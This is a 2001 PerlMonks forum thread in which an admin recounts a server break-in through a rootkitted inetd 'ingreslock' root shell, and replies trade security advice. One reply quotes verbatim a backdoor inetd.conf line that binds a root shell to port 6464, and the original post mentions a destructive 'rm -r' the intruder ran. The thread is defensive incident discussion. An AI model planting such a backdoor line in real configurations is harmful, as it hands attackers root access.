ACKKKKKKKKK! I Have been cracked!

I know i may be beating a dead horse, but i am writing this to warn everyone about how we all play a role in security after i spent all day correcting a hack attempt. We all need to be security aware. Too many times we ignore security features that are preventable. We all fail to have other people check our code, pay attention to to processes running. While we are still investigating, i want to talk about how easy this exploit was.

Basically someone got in the box and root kitted inetd. This started a service called ingreslock. Once this process started, anyone could telnet to the port, and get a psuedo root shell. With this shell ANY commands could be ran remotely.

We were lucky, the guy couldn't type, ran a rm -r /var /logs. After he wiped out that directory we couldn't log in. Fortunately he had just done this,(checked our back ups)and then we had the process of cleaning up and investigating this incident.
Now comes the fun part, the people I work with running a complete analysis of all the servers on our network. So far we blew all of today doing the basics, restoring what we knew was corrupted, rewriting etc/passwd & shadow. In addition, several of us are going in at midnight and cyclying all of our servers to make sure they are clean

I am hoping we all will consider the following issues next time we logg into a machine:
1. As perl writers, we have a LOT of power in our hands, how do you use that power? (The classic good vs. evil)
2. This could have been very easily have been ignored, fortunately this guy made a typo and zapped the wrong directory( would you know if your box was rooted?)
3. This was first put on the net over a year ago from the research that we did, how did this service get on our box a year later?
4. People often ignore security issues unless they involve BIND, while BIND can be very insecure, too many people by pass other exploits
5. And lastly what role do you play in your systems security? (If you are a programmer/developer do you have code reviews so other people can strip your code apart and make sure you aren't doing anything risky? If you are a sysadmin are you checking your logs on a regular basis? Are you making sure these machines are not left compromised? Do you go off and get a cup of coffee with a root shell on your terminal?)

I hope this will make a few people think, no one intends to make a machine insecure, but how often do we all get lax? Skimming through a log file because we do not have the time? Doing an incomplete security audit because "They will never get past the firewall" (Substitute your favorite excuse here, you have all of mine :^)

UPDATE: See http://project.honeynet.org for some preventative steps.

Comment on ACKKKKKKKKK! I Have been cracked!

Replies are listed 'Best First'.
Re: ACKKKKKKKKK! I Have been cracked! by footpad (Abbot) on Apr 03, 2001 at 09:09 UTC
Actually, I'm very glad you posted this for it raised something that's been eating at my ethics for some time. We're told many things about what were suppose to do regarding security: Use CGI -wT use strict fix paths avoid backticks untaint only the most minimally supported values Don't include unnecessary (and unencrypted) data (prices, passwords, etc) as hidden or cookie fields. Yet, I can find few specific examples of supposedly secure scripts. I see many things that aren't, but I see few discussions of what actually works. I mean, it may be one thing to know that MSA sucks or that SS's shopping carts are insecure, but where do we find examples that are secure? Apologies for going a bit left field on you, but if you think about it...that's what I think I lot of us want to do. What common, simple, and specific things can we do to write scripts that won't keep us awake at nights, fretting about what we don't know? What's the difference between memes/CCP/STO vs. what actually works? --f Update: Added a couple of new items based on a later CB conversation.	[reply]
(Ovid - secure software) Re(2): ACKKKKKKKKK! I Have been cracked! by Ovid (Cardinal) on Apr 03, 2001 at 11:07 UTC
footpad wrote: I mean, it may be one thing to know that MSA sucks or that SS's shopping carts are insecure, but where do we find examples that are secure? Good question. I see that the Reviews section has places to discuss books and modules, but not software. I don't know that it would be appropriate to list software there (too much software, too few people able to adequately judge them), but it would be nice to find a source we could trust. For example, Minivend (now owned by Akopia) was considered secure. A recent "crack our box" contest found a vulnerability (an input field forgot to strip the pipe character), but it was fixed quickly. I don't know if that package is still safe, but I noticed something curious when I worked with it: the author didn't use taint checking! Here we have a widely used package that seems to be secure, but doesn't use taint checking. I certainly would not care to recommend it simply for that reason, but what is one to do? Is there anything out there that really meets our exacting standards yet is useful, robust, and scalable? I'm not suggesting that one compromise, I'm merely asking if there really is freely available software that we could recommend? Ovid walks away, grumbling and muttering to himself that ideals may be castles in the sky. Cheers, Ovid Join the Perlmonks Setiathome Group or just click on the the link and check out our stats.	[reply]
Re: ACKKKKKKKKK! I Have been cracked! by petethered (Pilgrim) on Apr 03, 2001 at 17:47 UTC
Ive been the person called in to repair dozens of cracked servers. Alot of times, when a box gets cracked its pure laziness. You should always keep an ear out for security patches. You should always block IPs based on hosts.allow and deny. You should always have MySQLs access tables defined, and not world accessable. Dont allow anyone who isnt trusted telnet/ssh access to your box ( once your in, your good as root ). Doing this prevents the script kiddies from getting in your box, But this will not prevent a REAL cracker from accessing your box. On a side note, I recently was called in to help fix a box and found the following backdoor installed. in inetd.conf: 6464 stream tcp nowait root /bin/sh sh -i So simple It was beautiful... a perfect back door that few people would catch. -pete	[reply]
Re^2: ACKKKKKKKKK! I Have been cracked! by tadman (Prior) on Apr 03, 2001 at 18:18 UTC
As an aside that is hopefully not too OT, one of the boxes here was cracked once. It was all because of a simple (human) error. POP3/FTP passwords are sent plaintext, and so the system was configured to have different passwords for POP3/FTP from the system accounts. Unfortunately, due to laziness, I suppose, one of the admins set their password to be the same for both and later logged in from home to check their mail. A few days later, our box was cracked with an off-the-shelf "root kit". Even though we were using SSH, they were able to "sniff" the POP3 password over their cable modem and then log in using SSH, use SUDO, and have their way with our system. Thankfully the 'haX0r' only ran some sort of IRC bot or relay program and didn't do any real damage. Always make sure that your POP3 and FTP passwords are not the same as your SSH login! Especially for users with 'sudo' access!	[reply]
Re: Re^2: ACKKKKKKKKK! I Have been cracked! by isotope (Deacon) on Apr 03, 2001 at 20:50 UTC
Actually, I'd recommend having completely separate accounts for sudo (only used off-site in emergencies, otherwise on-site only), with RSA authentication only. Keep the email on a separate, private, non-privileged account. --isotope http://www.skylab.org/~isotope/	[reply]


Pathologically Eclectic Rubbish Lister
	PerlMonks